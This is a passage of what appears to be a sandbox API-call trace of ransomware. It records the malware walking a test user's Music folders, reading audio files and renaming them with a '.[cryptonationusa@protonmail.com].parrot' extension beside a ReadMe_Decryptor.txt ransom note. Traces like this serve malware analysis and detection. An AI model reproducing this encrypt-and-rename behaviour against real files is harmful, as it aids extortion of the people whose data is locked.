lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.025] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.025] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.025] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1200b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1200b, lpOverlapped=0x0) returned 1 [0093.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.031] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.034] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12123, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.034] CloseHandle (hObject=0x264) returned 1 [0093.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6ab050 [0093.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x65fe50 [0093.034] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\bz8goZertLHHXnCSz5w.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\x7jciw2quycpp\\bz8gozertlhhxncsz5w.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\bz8goZertLHHXnCSz5w.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\x7jciw2quycpp\\bz8gozertlhhxncsz5w.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.038] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x64db, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.038] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.038] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.038] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.039] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x63c3, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x63c3, lpOverlapped=0x0) returned 1 [0093.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.051] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.052] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x64db, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.053] CloseHandle (hObject=0x264) returned 1 [0093.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317c038 [0093.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x667b00 [0093.053] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\GMkDHY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\x7jciw2quycpp\\gmkdhy.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\GMkDHY.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\x7jciw2quycpp\\gmkdhy.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.057] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.058] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d973d80, ftCreationTime.dwHighDateTime=0x1d5c205, ftLastAccessTime.dwLowDateTime=0xc4c66000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4c66000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.059] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba9673f0, ftCreationTime.dwHighDateTime=0x1d5b87e, ftLastAccessTime.dwLowDateTime=0xccc2c190, ftLastAccessTime.dwHighDateTime=0x1d5c0ef, ftLastWriteTime.dwLowDateTime=0xc4bf3be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="-ho7GsRgpa V.m4a.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="-HO7GS~1.PAR")) returned 1 [0093.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0093.059] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.059] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c109d80, ftCreationTime.dwHighDateTime=0x1d5c428, ftLastAccessTime.dwLowDateTime=0xc4bf3be0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4bf3be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.059] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x529e0d0, ftCreationTime.dwHighDateTime=0x1d5b6c9, ftLastAccessTime.dwLowDateTime=0xc4ac30e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4ac30e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5jrOKgXJqs4j", cAlternateFileName="5JROKG~1")) returned 1 [0093.059] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c57190, ftCreationTime.dwHighDateTime=0x1d5c35e, ftLastAccessTime.dwLowDateTime=0x8ded6190, ftLastAccessTime.dwHighDateTime=0x1d5c406, ftLastWriteTime.dwLowDateTime=0xc4b35500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x17c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="68gGbB.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="68GGBB~1.PAR")) returned 1 [0093.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0093.059] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.060] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.060] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06221b0, ftCreationTime.dwHighDateTime=0x1d5c57e, ftLastAccessTime.dwLowDateTime=0x2987e320, ftLastAccessTime.dwHighDateTime=0x1d5bc4e, ftLastWriteTime.dwLowDateTime=0x2987e320, ftLastWriteTime.dwHighDateTime=0x1d5bc4e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.060] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.060] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.060] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbea39aa0, ftCreationTime.dwHighDateTime=0x1d5b9e5, ftLastAccessTime.dwLowDateTime=0x3a6745f0, ftLastAccessTime.dwHighDateTime=0x1d5c270, ftLastWriteTime.dwLowDateTime=0x3a6745f0, ftLastWriteTime.dwHighDateTime=0x1d5c270, nFileSizeHigh=0x0, nFileSizeLow=0x5e8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RgLOdthOp v9eTDO.mp3", cAlternateFileName="RGLODT~1.MP3")) returned 1 [0093.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0093.060] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5fa2, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.060] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.060] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.061] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.061] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5e8a, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x5e8a, lpOverlapped=0x0) returned 1 [0093.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.062] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.062] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5fa2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.063] CloseHandle (hObject=0x258) returned 1 [0093.063] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317c038 [0093.063] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x667de8 [0093.063] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\RgLOdthOp v9eTDO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hjcgv2orfoyr31hvl\\rglodthop v9etdo.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\RgLOdthOp v9eTDO.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hjcgv2orfoyr31hvl\\rglodthop v9etdo.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.066] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x81b1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.066] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.066] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.066] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.067] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8099, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x8099, lpOverlapped=0x0) returned 1 [0093.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.068] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.068] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x81b1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.068] CloseHandle (hObject=0x258) returned 1 [0093.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317c038 [0093.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x667de8 [0093.069] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\uyhhUiT_GNf1Y9Qs.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hjcgv2orfoyr31hvl\\uyhhuit_gnf1y9qs.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\uyhhUiT_GNf1Y9Qs.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hjcgv2orfoyr31hvl\\uyhhuit_gnf1y9qs.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.073] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x341e, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.073] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.073] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.074] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.074] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3306, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x3306, lpOverlapped=0x0) returned 1 [0093.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.075] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.075] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x341e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.075] CloseHandle (hObject=0x258) returned 1 [0093.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c068 [0093.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x664638 [0093.076] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\VXPEYAhU.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hjcgv2orfoyr31hvl\\vxpeyahu.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\VXPEYAhU.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hjcgv2orfoyr31hvl\\vxpeyahu.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.078] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa1be, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.078] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.079] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.079] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.079] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa0a6, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xa0a6, lpOverlapped=0x0) returned 1 [0093.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.081] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.081] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.082] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa1be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.082] CloseHandle (hObject=0x258) returned 1 [0093.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c068 [0093.082] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x664638 [0093.082] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\wr1BC2mgR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hjcgv2orfoyr31hvl\\wr1bc2mgr.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\wr1BC2mgR.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hjcgv2orfoyr31hvl\\wr1bc2mgr.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.088] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hJCgv2oRFOyR31hVl\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.088] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06221b0, ftCreationTime.dwHighDateTime=0x1d5c57e, ftLastAccessTime.dwLowDateTime=0xc4cb22c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4cb22c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.088] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c8c160, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xc4c8c160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4cb22c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0093.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0093.088] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a1a, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.088] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.088] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0093.089] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.089] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18902, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x18902, lpOverlapped=0x0) returned 1 [0093.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.093] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.095] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a1a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.095] CloseHandle (hObject=0x284) returned 1 [0093.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0093.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ae200 [0093.096] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\N2crsYb1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\n2crsyb1.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\N2crsYb1.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\n2crsyb1.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.098] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\po_5hBEQdz1FE\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.098] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.098] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf09a1e0, ftCreationTime.dwHighDateTime=0x1d5bcc4, ftLastAccessTime.dwLowDateTime=0x787d3ff0, ftLastAccessTime.dwHighDateTime=0x1d5bdcc, ftLastWriteTime.dwLowDateTime=0x787d3ff0, ftLastWriteTime.dwHighDateTime=0x1d5bdcc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.098] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.098] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.099] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f3765a0, ftCreationTime.dwHighDateTime=0x1d5bbfb, ftLastAccessTime.dwLowDateTime=0x4da8ca10, ftLastAccessTime.dwHighDateTime=0x1d5c24f, ftLastWriteTime.dwLowDateTime=0x4da8ca10, ftLastWriteTime.dwHighDateTime=0x1d5c24f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="30 A9zAxcEf.m4a", cAlternateFileName="30A9ZA~1.M4A")) returned 1 [0093.099] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d6758 [0093.099] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb6bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.099] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.099] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, 